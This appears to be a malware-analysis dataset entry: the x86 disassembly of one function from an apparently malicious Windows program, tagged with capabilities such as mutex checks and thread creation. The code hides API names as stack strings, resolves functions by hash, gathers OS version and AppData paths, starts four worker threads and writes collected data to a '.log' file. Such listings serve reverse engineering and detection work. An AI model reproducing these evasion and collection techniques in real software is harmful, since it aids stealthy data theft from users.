Function at 0x402161
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
push esi
push edi
push 0x40803e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x4025b3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4025b3
push 0x8ae
push 0x4084e4
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
test eax, eax
je 0x40258a
push 0x63
pop edx
lea ecx, [ebp - 0x28]
call fcn.00403ac1
cmp dword [ebp - 0x24], 0
je 0x40258a
call fcn.00402116
push 0x11c
xor edx, edx
lea ecx, [ebp - 0x168]
call fcn.0040349d
pop ecx
mov dword [ebp - 0x168], 0x11c
lea ecx, [ebp - 0x168]
call fcn.004043ed
test eax, eax
jl 0x40258a
call fcn.00401e87
push dword [ebp - 0x15c]
push dword [ebp - 0x160]
push dword [ebp - 0x164]
push str.__OperationSystem:__d:_d:_d_r_n
push 0
call fcn.00403502
add esp, 0x14
sub esp, 0x11c
push 0x47
pop ecx
lea esi, [ebp - 0x168]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404452
add esp, 0x11c
movzx eax, al
cmp eax, 1
jne 0x40258a
mov ecx, 0x208
call fcn.0040342f
mov dword [0x4084fc], eax
mov ecx, 0x208
call fcn.0040342f
mov dword [0x4084dc], eax
mov ecx, 0x208
call fcn.0040342f
mov dword [0x408504], eax
cmp dword [0x4084fc], 0
je 0x402515
cmp dword [0x4084dc], 0
je 0x402515
cmp dword [0x408504], 0
je 0x402515
mov byte [ebp - 0x10], 0x73
mov byte [ebp - 0xf], 0x68
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x33
mov byte [ebp - 0xa], 0x32
mov byte [ebp - 9], 0
mov dword [ebp - 0x38], 0xc7652b3f
and dword [ebp - 0x34], 0
lea edx, [ebp - 0x38]
lea ecx, [ebp - 0x10]
call main
movzx eax, al
cmp eax, 1
jne 0x402515
push dword [0x4084fc]
push 0
push 0
push 0x1a
push 0
push 4
pop eax
imul eax, eax, 0
call dword [ebp + eax - 0x38]
mov ecx, dword [0x4084fc]
call fcn.00403562
mov word [0x408500], ax
push dword [0x4084dc]
push 0
push 0
push 0x1c
push 0
push 4
pop eax
imul eax, eax, 0
call dword [ebp + eax - 0x38]
mov ecx, dword [0x4084dc]
call fcn.00403562
mov word [0x4084e0], ax
push dword [0x408504]
push 0
push 0
push 0
push 0
push 4
pop eax
imul eax, eax, 0
call dword [ebp + eax - 0x38]
mov ecx, dword [0x408504]
call fcn.00403562
mov word [0x408508], ax
push 4
pop eax
imul eax, eax, 0
cmp dword [eax + 0x40802c], 0x81f39c19
jne 0x4023ac
mov byte [ebp - 0x1c], 0x6b
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x72
mov byte [ebp - 0x19], 0x6e
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x6c
mov byte [ebp - 0x16], 0x33
mov byte [ebp - 0x15], 0x32
mov byte [ebp - 0x14], 0
mov edx, 0x40802c
lea ecx, [ebp - 0x1c]
call main
movzx eax, al
cmp eax, 2
je 0x4023ac
jmp 0x4025bb
push 0
push 0
lea eax, [ebp - 0x28]
push eax
push fcn.00401cc8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x4c], eax
push 0
push 0
lea eax, [ebp - 0x28]
push eax
push 0x40494b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x48], eax
push 0
push 0
lea eax, [ebp - 0x28]
push eax
push 0x40198b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x44], eax
push 0
push 0
lea eax, [ebp - 0x28]
push eax
push 0x404dcf
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x40], eax
push 0xffffffffffffffff
push 1
lea eax, [ebp - 0x4c]
push eax
push 4
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov byte [ebp - 1], 0
jmp 0x402432
mov al, byte [ebp - 1]
add al, 1
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
cmp eax, 3
jae 0x40246c
movzx eax, byte [ebp - 1]
cmp dword [ebp + eax*4 - 0x4c], 0xffffffff
je 0x40246a
push 2
pop eax
shl eax, 0
movzx eax, word [eax + 0x4084d0]
mov ecx, dword [0x4080c4]
mov dword [ecx + 1], eax
movzx eax, byte [ebp - 1]
push dword [ebp + eax*4 - 0x4c]
call dword [0x4080c4]
jmp 0x40242a
call fcn.00401fae
mov dx, 2
mov ecx, 0x40850c
call fcn.00404e63
mov dx, 1
mov ecx, 0x4084da
call fcn.00404e63
mov byte [ebp - 2], 0x40
mov dx, 1
lea ecx, [ebp - 2]
call fcn.00404e63
movzx dx, byte [ebp - 2]
mov ecx, str.anton
call fcn.00404e63
mov byte [ebp - 3], 0x24
mov dx, 1
lea ecx, [ebp - 3]
call fcn.00404e63
movzx dx, byte [ebp - 3]
mov ecx, 0x40803e
call fcn.00404e63
mov ecx, 0x208
call fcn.0040342f
mov dword [ebp - 8], eax
push 0x208
push dword [ebp - 8]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, dword [ebp - 8]
call fcn.00403562
shl eax, 1
mov word [ebp - 0x2c], ax
mov dx, 2
lea ecx, [ebp - 0x2c]
call fcn.00404e63
mov edx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 8]
call fcn.00404e63
mov ecx, dword [ebp - 8]
call fcn.0040345d
mov ecx, dword [0x408504]
call fcn.0040345d
mov ecx, dword [0x4084dc]
call fcn.0040345d
mov ecx, dword [0x4084fc]
call fcn.0040345d
push dword [0x408514]
push dword [0x408510]
mov edx, str._d.log
lea ecx, [ebp - 0x28]
call fcn.00403c65
pop ecx
pop ecx
mov ecx, dword [0x408510]
call fcn.0040345d
lea ecx, [ebp - 0x28]
call fcn.00403aea
mov dword [ebp - 0x3c], eax
call fcn.00402116
push dword [ebp - 0x3c]
push dword [ebp - 0x24]
call fcn.00404f97
pop ecx
pop ecx
movzx eax, al
test eax, eax
jne 0x402582
jmp 0x40256c
mov ecx, dword [ebp - 0x24]
call fcn.0040345d
push 2
pop eax
shl eax, 1
movzx eax, word [eax + 0x4084d0]
mov ecx, dword [0x4080c4]
mov dword [ecx + 1], eax
push dword [ebp - 0x30]
call dword [0x4080c4]
push 0x4084e4
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
mov esp, ebp
pop ebp
ret